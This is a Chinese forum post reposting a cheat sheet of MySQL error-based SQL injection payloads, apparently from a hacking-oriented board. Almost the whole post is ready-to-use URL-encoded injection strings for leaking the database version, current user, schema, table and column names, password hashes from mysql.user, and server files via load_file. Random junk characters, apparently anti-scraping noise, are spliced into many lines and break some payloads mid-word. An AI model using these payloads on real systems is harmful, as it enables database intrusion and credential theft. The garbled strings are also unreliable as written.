找回密码
 立即注册
查看: 3134|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 / Q$ M/ I4 F3 X& N
8 ]" n/ \5 J3 N3 ~. s" i

5 x) B& q* r9 s* aMysql暴错注入参考(pdf),每天一贴。。。" D# Q, o) k, k) Y$ x0 D

- o5 U9 S5 O2 PMySql Error Based Injection Reference
$ v& |5 A, Y) }[Mysql暴错注入参考]
, |: y. r+ |* |% i3 g6 }0 aAuthornig0s1992
* f  U( k# n  k( S! G7 \0 Q3 e- i! nBlog:http://pnig0s1992.blog.51cto.com/5 D7 b4 h1 Z3 ^
TeAm:http://www.FreeBuf.com/
0 @9 F" h9 l( Y# M6 q) \9 qMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
2 d$ C/ c% Z0 N% T3 W小部分版本使用name_const()时会报错.可以用给出的Method.2测试5 j7 N, d5 Z$ Q- k& w. Q, b
查询版本:
$ }, z, ?& f0 @% ?  D: fMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
$ V" e! s3 a- N# {, @5 djoin+(select+name_const(@@version,0))b)c)
% I* g3 L( O( G& t0 \Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
- ~  J! t! z* d) a- r# O. Iup by a)b)
& ?/ Z8 Q$ m8 l& ?1 ]# |% J& X查询当前用户:
/ e' \- v( `* uMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
- S9 o+ @9 K  E/ J0 CMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r* {2 @$ F/ }" E3 X
and(0)*2))x+from+information_schema.tables+group+by+x)a). Q3 q/ O. a7 p: W) n4 W
查询当前数据库:
1 P' b% O! m6 V; _6 u; {Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
, [! H1 g4 q2 ^9 t% pMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
& v5 \) {$ Y& i2 [# w6 H2 ]6 D1 sor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)* ~! a3 R( M4 ?+ I7 k& r
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+/ w5 e" c: p1 P
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n0 W% L0 i; x% |9 q8 c! F" ]
顺序替换
) ~: E+ M3 B4 x2 Q爆指定库数目:7 e3 B( n. W& y+ i* @% z
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t3 {. _6 [% l# L: D: q/ [
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
7 o7 w' e4 o" G& Y0 c+by+x)a)+and+1=1 0x6D7973716C=mysql% h4 S' ^7 ^( h/ V9 u
依次爆表:1 T. e# ]1 s7 N% G# Q9 A
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t1 g5 v' X4 l( m; ^, V) K0 u' p1 A: `
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta, {  \2 ^! F+ g& c5 V/ }; O* c
bles+group+by+x)a)+and+1=1
" l: }- i( E: A% `/ f# L% a6 ?0x6D7973716C=Mysql 将n顺序替换( y1 m/ s5 u# |3 e% V. [
爆表内字段数目:
; Y' C  w' k$ Y5 \5 N1 _; oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE; y' k* b1 \9 S9 H+ B' W
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran5 G) \4 f9 \. M8 }$ T
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1$ K" k+ ~  P9 J, e" r) M
依次爆字段:6 B0 R. t0 w: o+ t) q* h
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where/ x# h# k4 ^$ e; L: }" j
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,13 H/ t( M# o  s& O
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
9 U+ p8 ]' A/ o7 b+ T4 W依次暴内容:, M9 \7 H3 K/ T; A( g3 y  R
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche; [7 ~9 x9 M$ ^  r0 o
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1$ ]9 |) P1 J, e
将n顺序替换
6 w+ e" X" l! ^  Z/ Z' {爆文件内容:  h; q5 q- X, N) m$ V5 Z
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a, H, V& H5 Q+ \' e, Y  j* r( ^
from+information_schema.tables+group+by+a)b)
7 j) U' G0 H% T5 ~0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
! G  |9 D, t. s3 _7 `" V0 R6 |Thx for reading.: |' d# k1 A0 q) B
9 R7 w' b" b- v  m( p% X) t4 [
不要下载也可以, " k6 ?& ]) t( j  h) L1 {8 A- B

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表